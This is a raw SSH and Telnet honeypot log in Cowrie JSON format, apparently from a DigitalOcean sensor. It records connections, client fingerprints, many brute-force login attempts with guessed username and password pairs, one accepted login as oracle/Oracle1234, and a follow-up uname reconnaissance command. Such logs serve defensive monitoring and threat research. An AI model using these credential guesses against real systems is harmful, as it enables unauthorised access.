{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":59293,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef410592d768","protocol":"ssh","message":"New connection: 152.42.212.128:59293 (10.17.0.5:22) [session: ef410592d768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:06:26.725795Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:06:26.731055Z","src_ip":"152.42.212.128","session":"ef410592d768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:06:26.735820Z","src_ip":"152.42.212.128","session":"ef410592d768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.97.192.36","src_port":50020,"dst_ip":"10.17.0.5","dst_port":23,"session":"f19ff400d018","protocol":"telnet","message":"New connection: 115.97.192.36:50020 (10.17.0.5:23) [session: f19ff400d018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:06:31.372965Z"}
{"eventid":"cowrie.session.closed","duration":14.061246633529663,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:06:45.434088Z","src_ip":"115.97.192.36","session":"f19ff400d018","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":43006,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a543a4bfcfe","protocol":"ssh","message":"New connection: 87.251.79.125:43006 (10.17.0.5:22) [session: 8a543a4bfcfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:03.737479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:03.745905Z","src_ip":"87.251.79.125","session":"8a543a4bfcfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:03.822080Z","src_ip":"87.251.79.125","session":"8a543a4bfcfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samson","message":"login attempt [root/samson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:04.047549Z","src_ip":"87.251.79.125","session":"8a543a4bfcfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:05.139020Z","src_ip":"87.251.79.125","session":"8a543a4bfcfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":3070,"dst_ip":"10.17.0.5","dst_port":22,"session":"841012ca6209","protocol":"ssh","message":"New connection: 38.93.206.2:3070 (10.17.0.5:22) [session: 841012ca6209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:12.363636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:12.369089Z","src_ip":"38.93.206.2","session":"841012ca6209","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:12.421262Z","src_ip":"38.93.206.2","session":"841012ca6209","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexis","message":"login attempt [root/alexis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:12.576260Z","src_ip":"38.93.206.2","session":"841012ca6209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:13.629567Z","src_ip":"38.93.206.2","session":"841012ca6209","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":44944,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6dd94d47765","protocol":"ssh","message":"New connection: 193.32.162.151:44944 (159.203.135.109:22) [session: c6dd94d47765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:32.542096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:32.547856Z","src_ip":"193.32.162.151","session":"c6dd94d47765","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:32.656843Z","src_ip":"193.32.162.151","session":"c6dd94d47765","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Oracle1234","message":"login attempt [oracle/Oracle1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:32.980001Z","src_ip":"193.32.162.151","session":"c6dd94d47765","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:33.235678Z","src_ip":"193.32.162.151","session":"c6dd94d47765","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:33.239110Z","src_ip":"193.32.162.151","session":"c6dd94d47765","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:33.349521Z","src_ip":"193.32.162.151","session":"c6dd94d47765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:33.355427Z","src_ip":"193.32.162.151","session":"c6dd94d47765","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":25644,"dst_ip":"10.17.0.5","dst_port":22,"session":"361d4d0b3079","protocol":"ssh","message":"New connection: 213.209.159.56:25644 (10.17.0.5:22) [session: 361d4d0b3079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:50.896423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:50.902504Z","src_ip":"213.209.159.56","session":"361d4d0b3079","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:50.985772Z","src_ip":"213.209.159.56","session":"361d4d0b3079","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"francisca","password":"francisca","message":"login attempt [francisca/francisca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:51.387854Z","src_ip":"213.209.159.56","session":"361d4d0b3079","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"francisca","password":"francisca1","message":"login attempt [francisca/francisca1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:52.473269Z","src_ip":"213.209.159.56","session":"361d4d0b3079","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"francisca","password":"francisca123","message":"login attempt [francisca/francisca123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:53.558923Z","src_ip":"213.209.159.56","session":"361d4d0b3079","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"francisca","password":"francisca1234","message":"login attempt [francisca/francisca1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:54.648086Z","src_ip":"213.209.159.56","session":"361d4d0b3079","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"francisca","password":"francisca12345","message":"login attempt [francisca/francisca12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:55.734168Z","src_ip":"213.209.159.56","session":"361d4d0b3079","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:07:56.820080Z","src_ip":"213.209.159.56","session":"361d4d0b3079","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":41334,"dst_ip":"159.203.135.109","dst_port":22,"session":"13f711bc5bd9","protocol":"ssh","message":"New connection: 77.94.47.83:41334 (159.203.135.109:22) [session: 13f711bc5bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:08:06.554461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:08:06.559455Z","src_ip":"77.94.47.83","session":"13f711bc5bd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:08:06.686053Z","src_ip":"77.94.47.83","session":"13f711bc5bd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c00756168ec","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (10.17.0.5:22) [session: 4c00756168ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:08:06.834534Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:08:06.943774Z","src_ip":"77.90.185.16","session":"4c00756168ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"999666","message":"login attempt [root/999666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:08:07.068804Z","src_ip":"77.94.47.83","session":"13f711bc5bd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:08:08.201458Z","src_ip":"77.94.47.83","session":"13f711bc5bd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":57236,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aa024e5cbbf","protocol":"ssh","message":"New connection: 80.66.85.226:57236 (10.17.0.5:22) [session: 3aa024e5cbbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:08:40.227375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:08:40.232465Z","src_ip":"80.66.85.226","session":"3aa024e5cbbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:08:40.327280Z","src_ip":"80.66.85.226","session":"3aa024e5cbbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia123","message":"login attempt [root/nokia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:08:40.612502Z","src_ip":"80.66.85.226","session":"3aa024e5cbbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:08:41.711226Z","src_ip":"80.66.85.226","session":"3aa024e5cbbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":46294,"dst_ip":"159.203.135.109","dst_port":22,"session":"06786327e618","protocol":"ssh","message":"New connection: 103.149.170.125:46294 (159.203.135.109:22) [session: 06786327e618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:08:44.665807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:08:44.671320Z","src_ip":"103.149.170.125","session":"06786327e618","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:08:44.935872Z","src_ip":"103.149.170.125","session":"06786327e618","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe321","message":"login attempt [root/qwe321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:08:45.721926Z","src_ip":"103.149.170.125","session":"06786327e618","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:08:46.985888Z","src_ip":"103.149.170.125","session":"06786327e618","protocol":"ssh"}
